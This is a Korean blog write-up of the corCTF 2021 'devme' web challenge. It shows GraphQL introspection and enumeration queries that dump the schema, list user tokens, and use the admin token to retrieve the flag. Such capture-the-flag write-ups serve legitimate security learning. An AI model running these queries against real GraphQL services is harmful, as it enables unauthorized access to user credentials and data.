CTF/corCTF 2021

[Clear] corCTF 2021 web/devme Writeup

Vardy 2021. 8. 23. 22:17

다소 생소한? 분야의 문제여서 그런지 난이도에 비해 푸는데 오래걸렸던 문제이다..

 

주어진 페이지에 들어가보자. 아래 기능 말고는 작동하는 기능이 없다.



요청이 어떤식으로 이루어지는지 Burp Suite를 통해 확인해 보았다. 이메일을 입력하면 query의 동작을 통해 username이 생성되는 듯 했다.

 

요청 URL(/graphql) 과 쿼리의 형식으로 봤을 때, graphql injection 공격을 통해 풀이 할 수 있을 것이라고 추측했다. graphql은 페이스북에서 개발되어진 질의어라고 하는데, 문제에서 페이스북 어찌구 했던 것이 그 이유였던것 같다.

https://ko.wikipedia.org/wiki/%EA%B7%B8%EB%9E%98%ED%94%84QL

 

그래프QL - 위키백과, 우리 모두의 백과사전

그래프QL(영어: GraphQL)[1]은 페이스북이 2012년에 개발하여 2015년에 공개적으로 발표된 데이터 질의어이다.[2] 그래프QL은 REST 및 부속 웹서비스 아키텍쳐를 대체할 수 있다.[1] 클라이언트는 필요한

ko.wikipedia.org

 

graphql 자체에 익숙하지 않았기 때문에 공격 방법에 대해 공부를 하면서 해결해나갔고, 아래 자료를 유용하게 참고하였다.

https://blog.ch4n3.kr/535

 

webhacking.kr NotSQL

 GraphQL  GraphQL은 기존의 REST API 형식에서 벗어나 프론트엔드 개발자가 스스로 원하는 데이터를 백엔드 개발자의 도움없이 가져올 수 있다는 점에서 개발 능률 향상에 효과적인 도구이다. 그렇

blog.ch4n3.kr

 

실제 공격 과정이다. 요청은 Json 형태로 이루어지는데, "query" 부분에 플래그를 조회 할 수 있는 구문을 찾아 문제를 해결해보도록 하자.

 

1. 공격 유효가능성 파악

{"query":"{__schema{types{name}}}"}

 

2. 메타데이터 파악

{"query":"{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}}"}

 

3. 구조 파악

2번 과정에서의 결과값을 분석해보면 flag라는 값이 보인다. 조금 더 자세히 보면 token이라는 args가 있음을 알 수 있다.

실제로, 단순하게 플래그를 호출해보면 String 형식의 token 이라는 argument가 필수적이라는 에러메시지를 출력해준다.

 

flag 이외에 또 하나의 필드인 users 부분의 구조를 파악해보면, token과 username 서브필드로 구성되어있음을 알 수 있다.

각각 조회해보도록 하자.

{"query":"{users{username}}"}
{"query":"{users{token}}"}

admin.. 수상하다..
각 계정에 대응하는 token

 

지금까지의 과정을 통해 얻은 정보를 정리해보면,

 - graphql injection 공격은 유효하다.

 - flag 획득을 위해서는 String 형식의 token 이 argument로 필요하다.

 - users 필드는 username과 그에 상응하는 token으로 이루어져 있다.

 

위 정보를 활용하여 플래그를 획득해보자.

 

4. 플래그 조회

admin 계정의 token을 인자로 활용하면 플래그 조회가 가능하다.

{"query":"{flag(token:\"3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b\")}"
}

 

FLAG = corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}

반응형